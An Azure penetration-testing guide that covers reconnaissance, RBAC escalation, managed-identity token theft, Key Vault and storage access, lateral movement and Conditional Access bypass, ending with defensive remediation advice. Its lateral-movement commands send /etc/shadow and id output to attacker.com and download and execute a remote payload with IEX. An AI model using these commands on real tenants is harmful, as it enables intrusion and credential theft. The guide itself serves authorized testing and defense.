Azure is the second-largest cloud platform on the planet and the dominant choice in enterprise environments. Microsoft’s deep integration with Active Directory, Office 365, and enterprise tooling means Azure is everywhere corporate red teams operate. If you’re doing internal red team work or enterprise pentesting in 2026, Azure is unavoidable.

This guide covers the full attack chain — from initial recon through credential theft, RBAC abuse, lateral movement, and persistence — with real commands and the tools that actually work.

You need a lab to practice this safely. Use a dedicated Azure tenant (free trial available). For an external attacker machine, Vultr and DigitalOcean give you a clean Linux box you can tear down when done.


Microsoft’s penetration testing rules of engagement are clear:

  • You can test your own Azure resources without prior approval for most scenarios
  • You cannot test Microsoft’s underlying infrastructure
  • No DDoS, port scanning of Azure infrastructure, or social engineering of Microsoft employees
  • For third-party engagements: written authorization from the subscription owner is mandatory

Azure also has Microsoft Defender for Cloud watching everything. Your actions will generate alerts. That’s expected in a pentest — but know what you’re triggering.


Azure Concepts Every Red Teamer Needs

Before you start throwing tools at Azure, understand the structure:

Entra ID (formerly Azure AD): Microsoft’s identity platform. Users, groups, service principals, managed identities — all live here. Compromise Entra ID and you own the identity layer.

Subscriptions: Billing + resource containers. One tenant can have multiple subscriptions.

Resource Groups: Logical containers for Azure resources. RBAC can be applied at this level.

RBAC (Role-Based Access Control): Four key built-in roles to know:

  • Owner — full control including access management
  • Contributor — full control over resources, but can’t change access
  • Reader — read-only
  • User Access Administrator — can manage role assignments (dangerous)

Service Principals: Non-human identities used by apps and automation. Often overprivileged and forgotten.

Managed Identities: Azure-managed service principals attached to compute resources. If you compromise a VM with a managed identity, you can query its credentials from the metadata service — same trick as AWS IMDS.


Phase 1: Reconnaissance

Passive Recon — Map the Target’s Azure Footprint

Start before touching any Azure API.

Subdomain and tenant discovery:

# Find Azure tenants associated with a domain
curl "https://login.microsoftonline.com/<target-domain>/v2.0/.well-known/openid-configuration"

# AADInternals - tenant info
Import-Module AADInternals
Get-AADIntTenantID -Domain target.com
Get-AADIntLoginInformation -Domain target.com

# Find all domains in a tenant (works unauthenticated)
Invoke-AADIntReconAsOutsider -DomainName target.com

Enumerate publicly exposed storage:

# Azure Blob storage — common naming patterns
curl -s "https://targetcompany.blob.core.windows.net/?comp=list"
curl -s "https://targetcompany-backup.blob.core.windows.net/?comp=list"
curl -s "https://targetcompanyprod.blob.core.windows.net/?comp=list"
curl -s "https://targetcompany-storage.blob.core.windows.net/?comp=list"

# Automated: MicroBurst
Import-Module MicroBurst
Invoke-EnumerateAzureBlobs -Base targetcompany

GitHub/code scanning for leaked credentials:

# Look for Azure connection strings and SAS tokens
trufflehog git https://github.com/target-org/repo
gitleaks detect --source /path/to/repo

# Azure credential patterns to grep for:
# DefaultEndpointsProtocol=https;AccountName=
# "client_secret":
# AZURE_CLIENT_SECRET
# ?sv=2020&ss=

Azure Storage SAS tokens found in code are a goldmine — they often grant read/write access to specific containers with no authentication required.


Active Recon — Authenticated Enumeration

Once you have credentials (leaked key, phished token, or initial foothold):

Azure CLI setup:

# Install
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Login with credentials
az login -u [email protected] -p 'Password123!'

# Login with service principal
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id>

# Check who you are
az account show
az ad signed-in-user show

PowerShell Az module:

# Install
Install-Module -Name Az -Force
Install-Module -Name AzureAD -Force

# Connect
Connect-AzAccount
Connect-AzureAD

Enumerate the subscription:

# What subscriptions can you see?
az account list

# What resources exist?
az resource list --output table

# Resource groups
az group list --output table

Phase 2: Entra ID (Azure AD) Enumeration

Entra ID is the highest-value target. Understanding the identity structure tells you everything about lateral movement paths.

Enumerate Users, Groups, and Roles

# List all users
az ad user list --output table

# List all groups
az ad group list --output table

# Get members of a specific group
az ad group member list --group "Global Administrators" --output table

# List service principals (app registrations)
az ad sp list --output table

# Current user's directory roles
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/me/memberOf"

With Azure AD PowerShell:

# All users
Get-AzureADUser -All $true

# All directory roles and members
Get-AzureADDirectoryRole | ForEach-Object {
    $role = $_
    Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId | 
    Select-Object @{N='Role';E={$role.DisplayName}}, DisplayName, UserPrincipalName
}

# Find users with admin roles
Get-AzureADDirectoryRole -Filter "displayName eq 'Global Administrator'" |
    Get-AzureADDirectoryRoleMember

AzureHound — Graph the Attack Paths

AzureHound is the Azure equivalent of SharpHound — it collects data that BloodHound uses to map attack paths visually.

# Install
git clone https://github.com/BloodHoundAD/AzureHound
cd AzureHound && go build .

# Collect all data
./azurehound -u "[email protected]" -p "Password123!" list --tenant "target.com" -o output.json

# Or with refresh token
./azurehound -r <refresh-token> list --tenant <tenant-id> -o output.json

# Or with service principal
./azurehound --app <app-id> --secret <secret> --tenant <tenant-id> list -o output.json

Import the JSON into BloodHound. The shortest path to Global Admin is immediately visible. This is how you find the attack paths that would take days to find manually.

ROADtools — Deep Entra ID Analysis

ROADtools syncs the entire Entra ID tenant to a local database you can query.

pip install roadtools

# Authenticate
roadrecon auth -u [email protected] -p 'Password123!'

# Sync tenant data
roadrecon gather

# Launch the GUI
roadrecon-gui

# Or query directly
roadrecon plugin policies

ROADtools is better than az ad commands for deep analysis — you can query across the entire tenant at once instead of making hundreds of individual API calls.


Phase 3: RBAC Enumeration and Privilege Escalation

Map Current Permissions

# What roles do you have on each subscription?
az role assignment list --assignee <user-object-id> --all --output table

# What can you do in this resource group?
az role assignment list --scope /subscriptions/<sub-id>/resourceGroups/<rg-name> --output table

# All role assignments in the subscription
az role assignment list --subscription <sub-id> --all --output table

# Get the definition of a specific role (what actions it allows)
az role definition list --name "Contributor" --output json

Key Privilege Escalation Paths

Owner or User Access Administrator → Add yourself to roles:

# Assign yourself Owner on a subscription
az role assignment create \
  --assignee <your-object-id> \
  --role Owner \
  --scope /subscriptions/<sub-id>

Contributor → Deploy ARM templates with identity:

# Deploy a template that runs a script as a managed identity
az deployment group create \
  --resource-group <rg-name> \
  --template-file evil-template.json \
  --parameters @params.json

Azure Automation Account abuse: If you have Contributor on a resource group containing an Automation Account:

# List runbooks
az automation runbook list --automation-account-name <account> --resource-group <rg>

# Create a runbook that exfiltrates credentials
az automation runbook create \
  --automation-account-name <account> \
  --resource-group <rg> \
  --name ExfilRunbook \
  --type PowerShell

# Import malicious content
az automation runbook replace-content \
  --automation-account-name <account> \
  --resource-group <rg> \
  --name ExfilRunbook \
  --content @evil-runbook.ps1

# Publish and run
az automation runbook publish --automation-account-name <account> --resource-group <rg> --name ExfilRunbook
az automation runbook start --automation-account-name <account> --resource-group <rg> --name ExfilRunbook

Service Principal Secret Rotation: If you have Application.ReadWrite.All or ownership of an app registration:

# Add a new secret to a service principal you don't control
$sp = Get-AzureADServicePrincipal -Filter "displayName eq 'TargetApp'"
New-AzureADServicePrincipalPasswordCredential -ObjectId $sp.ObjectId

Now you have credentials for that service principal’s permissions.


Phase 4: Managed Identities and Metadata Service

Managed identities are Azure’s version of IAM instance profiles. If you have code execution on an Azure VM, Function, or Container Instance, check for an attached managed identity.

Query the Metadata Service

# Get the managed identity token (from inside the resource)
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Parse the access_token field
TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Use the token to call Azure APIs
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

Get token for Microsoft Graph (Entra ID APIs):

curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"

Use the Graph token to enumerate Entra ID as the managed identity — which may have directory roles or high-privilege Graph API permissions.

Enumerate VM Instance Metadata

# Full instance metadata
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | python3 -m json.tool

# What subscriptions and resource groups is this VM in?
# What tags does it have? (often reveals environment: prod/dev)
# What identity is attached?

Phase 5: Storage Account Attacks

Azure Storage is the most common source of data leaks in Azure environments.

Enumerate Storage Accounts

# List storage accounts you have access to
az storage account list --output table

# Check if a storage account allows public access
az storage account show \
  --name <storage-account> \
  --query "allowBlobPublicAccess"

# List containers in a storage account
az storage container list \
  --account-name <storage-account> \
  --auth-mode login \
  --output table

# List blobs in a container
az storage blob list \
  --account-name <storage-account> \
  --container-name <container> \
  --auth-mode login \
  --output table

Unauthenticated Blob Access

Public containers expose data to anyone with the URL:

# List public container contents
curl -s "https://<storage>.blob.core.windows.net/<container>?restype=container&comp=list"

# Download a file
curl -O "https://<storage>.blob.core.windows.net/<container>/file.txt"

SAS Token Abuse

Shared Access Signatures grant time-limited access without credentials. If you find one in code or logs:

# Use a SAS token to list a container
az storage container list \
  --account-name <storage> \
  --sas-token "?sv=2021-08-06&ss=b&srt=co&sp=rwdlacupitfx&se=2027-01-01T00:00:00Z&st=..."

# Download all blobs using SAS token
azcopy copy "https://<storage>.blob.core.windows.net/<container>/<sas-token>" \
  /local/dir --recursive

SAS tokens with sp=rwdlacupitfx (full permissions) and long expiry are gold. Store them, use them.

Storage Account Keys

Storage account keys grant full access to all containers — equivalent to root access on the storage account:

# List account keys (requires Contributor or higher on the storage account)
az storage account keys list --account-name <storage>

# Use key to access any container
az storage blob list \
  --account-name <storage> \
  --container-name <container> \
  --account-key <key>

Phase 6: Azure Key Vault

Key Vault stores secrets, certificates, and encryption keys. Getting access is a major win.

# List all Key Vaults in subscription
az keyvault list --output table

# List secrets in a vault (requires Get permission on secrets)
az keyvault secret list --vault-name <vault-name> --output table

# Get a specific secret value
az keyvault secret show --vault-name <vault-name> --name <secret-name>

# List certificates
az keyvault certificate list --vault-name <vault-name> --output table

# List keys
az keyvault key list --vault-name <vault-name> --output table

Access policy vs RBAC: Older Key Vaults use access policies; newer ones use Azure RBAC. If you have Contributor on the vault’s resource group but not explicit Key Vault permissions, you may be able to modify the access policy:

# Add yourself to the access policy
az keyvault set-policy \
  --name <vault-name> \
  --upn [email protected] \
  --secret-permissions get list backup restore recover \
  --key-permissions get list \
  --certificate-permissions get list

This only works if RBAC is disabled on the vault — check first.


Phase 7: Lateral Movement

Pass the Token

Azure authentication is largely token-based. Stolen tokens work across tools and APIs.

# Extract tokens from az CLI cache
cat ~/.azure/msal_token_cache.json
cat ~/.azure/accessTokens.json

# On Windows, tokens may be in:
# %USERPROFILE%\.azure\msal_token_cache.bin (DPAPI-encrypted)
# Use AADInternals to extract on Windows

Using a stolen access token:

# With az CLI
az account get-access-token --resource https://management.azure.com/

# Inject a token into az CLI
az account set --subscription <sub-id>
# Then use the token in API calls directly:
curl -H "Authorization: Bearer <stolen-token>" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

Abuse Application Permissions

Service principals with high-privilege Graph API permissions (like Directory.ReadWrite.All or RoleManagement.ReadWrite.Directory) can do things that even Global Admins can’t do via normal user flows.

# With a service principal token for Graph, add a user to Global Admin
$body = @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/<user-id>"
} | ConvertTo-Json

Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members/`$ref" \
  -Method POST \
  -Headers @{Authorization = "Bearer $token"} \
  -Body $body \
  -ContentType "application/json"

VM Command Execution via Run Command

If you have Contributor or Virtual Machine Contributor on a VM:

# Execute a shell command on a Linux VM
az vm run-command invoke \
  --resource-group <rg> \
  --name <vm-name> \
  --command-id RunShellScript \
  --scripts "cat /etc/shadow; id; curl http://attacker.com/$(id|base64 -w0)"

# PowerShell on Windows VM
az vm run-command invoke \
  --resource-group <rg> \
  --name <vm-name> \
  --command-id RunPowerShellScript \
  --scripts "whoami; (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') | IEX"

This doesn’t require network access to the VM — it goes through the Azure control plane. Bypasses firewalls and NSGs entirely.


Phase 8: Key Tools

MicroBurst

MicroBurst — NetSPI’s Azure recon toolkit. Good for initial enumeration.

Import-Module MicroBurst.psm1

# Enumerate storage accounts
Invoke-EnumerateAzureBlobs -Base targetcompany

# Find public resources
Invoke-EnumerateAzureSubDomains -Base targetcompany

# Enumerate storage resources with credentials
Get-AzurePasswords

PowerZure

PowerZure — PowerShell framework for Azure red teaming.

Import-Module PowerZure.psd1

# Connect
Set-AzureSubscription
Show-AzureCurrentUser

# Enumeration
Get-AzureRoleAssignments
Get-AzureServicePrincipalPasswords
Get-AzureRunAsAccounts
Get-AzureKeyVaults
Get-AzureStorageAccounts

# Exploitation
Get-AzureKeyVaultContents -All
Get-AzureRunbookContent -All
Show-AzureStorageContent -All

Stormspotter

Stormspotter — Microsoft’s own Azure attack path visualization tool.

git clone https://github.com/Azure/Stormspotter
cd Stormspotter/stormcollector

pip install -r requirements.txt
python3 stormspotter.py --sp-auth --tenant <tenant-id> --app-id <app-id> --app-secret <secret>

Loads into a Neo4j database with a web frontend — BloodHound-style graph of Azure permissions and relationships.

AADInternals

AADInternals — the most comprehensive Entra ID attack toolkit.

Install-Module AADInternals -Force
Import-Module AADInternals

# Recon (no auth needed)
Invoke-AADIntReconAsOutsider -DomainName target.com

# Get access token
$cred = Get-Credential
Get-AADIntAccessTokenForAADGraph -Credentials $cred

# Enumerate users
Get-AADIntUsers

# Enumerate conditional access policies
Get-AADIntConditionalAccessPolicies

# Pass-the-token
$at = Get-AADIntAccessTokenForAADGraph -SaveToCache

Phase 9: Bypassing Conditional Access

Conditional Access (CA) policies are Azure’s version of network-level access control — but for identity. They can block logins from non-compliant devices, non-trusted locations, etc.

Common bypass techniques:

Target legacy authentication protocols: Older protocols (SMTP, IMAP, POP3, Exchange Web Services) often bypass CA policies. Check if they’re still enabled:

# Check if basic auth / legacy auth is blocked in tenant
# Via AADInternals:
Get-AADIntConditionalAccessPolicies | Where-Object {$_.GrantControls -ne $null}

User agent spoofing: Some CA policies check for compliant devices based on User-Agent:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

Trusted IP ranges: If the target has named locations configured, check whether any ranges are overly broad (e.g., entire ASNs).

Token theft vs credential theft: CA policies apply at authentication time — not when using an already-issued token. If you steal a valid token, you bypass CA entirely. This is why token theft is more valuable than credential theft in Azure.


Practice Environments

Do not practice Azure pentesting on real targets without authorization.

Option 1: Your own free Azure tenant Create a new Microsoft account, spin up a free Azure subscription. Deploy the following vulnerable-by-design resources:

  • Storage account with public access
  • VM with managed identity
  • Automation account with runbooks

Option 2: CONVEX (CloudGoat for Azure)

git clone https://github.com/XMCyber/CONVEX

Deploys intentionally vulnerable Azure infrastructure scenarios.

Option 3: PurpleCloud

git clone https://github.com/iknowjason/PurpleCloud

Full AD + Azure hybrid lab environment — great for practicing identity attacks across on-prem and cloud.


These are worth having if you’re serious about Azure red teaming:

  • The Hacker’s Guide to the Azure Cloud — covers the attack surface in depth
  • Penetration Testing Azure for Ethical Hackers — practical focus, real scenarios
  • Microsoft’s own Azure security documentation teaches you the defense, which makes the attacks obvious

For hands-on cloud red team certification prep, our upcoming Cloud Pentesting Certs guide will cover AZ-500 and the Red Team certs that matter in 2026.


Quick Reference: Essential Azure Attack Commands

# Identity check
az account show && az ad signed-in-user show

# Enumerate all resources
az resource list --output table

# RBAC assignments for current user
az role assignment list --assignee <object-id> --all --output table

# List storage accounts and check public access
az storage account list --query "[].{name:name,publicAccess:allowBlobPublicAccess}" --output table

# List Key Vaults
az keyvault list --output table

# Get Key Vault secret
az keyvault secret show --vault-name <vault> --name <secret>

# Managed identity token from inside a VM
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Run command on VM
az vm run-command invoke --rg <rg> --name <vm> --command-id RunShellScript --scripts "id"

# AzureHound collection
./azurehound -u [email protected] -p 'pass' list --tenant tenant.com -o output.json

Azure Pentest Checklist

  • Tenant recon: domains, users, Entra ID structure (ROADtools + AzureHound)
  • Validate credentials and check current identity/permissions
  • Enumerate RBAC assignments across all subscriptions
  • Check for service principals with leaked secrets or over-privileged Graph permissions
  • Enumerate storage accounts — public blobs, SAS tokens, account keys
  • Check Key Vaults — list secrets, test access policy misconfigs
  • Enumerate Automation Accounts and runbooks
  • Check for VMs with managed identities — query metadata service
  • Test az vm run-command on accessible VMs
  • Look for Conditional Access gaps (legacy auth, token theft opportunities)
  • Run AzureHound + import to BloodHound — find shortest path to Global Admin
  • Check for Azure DevOps pipelines with elevated permissions
  • Review ARM template deployment permissions (Contributor = code exec via templates)

Defending What You Attack

For the client remediation report:

  • Enable Microsoft Defender for Cloud — it catches most of the attacks in this guide
  • Enforce Conditional Access on all accounts — block legacy auth, require MFA everywhere
  • Disable public access on all storage accounts by default — use private endpoints
  • Use managed identities instead of service principal secrets where possible
  • Enable Privileged Identity Management (PIM) — just-in-time access for admin roles
  • Audit RBAC assignments regularly — scope down Contributor and Owner roles
  • Enable Key Vault soft delete and purge protection — prevents secret deletion as a destructive attack
  • Review Automation Account runbooks — treat them like code that runs as an admin

Need help writing up a cloud pentest engagement or producing client-ready security reports? CipherWrite handles technical security content — pentest write-ups, white papers, security awareness guides.


Cloud series continues: Cloud Pentesting Tools 2026: Pacu, ScoutSuite, Prowler & More — coming Friday.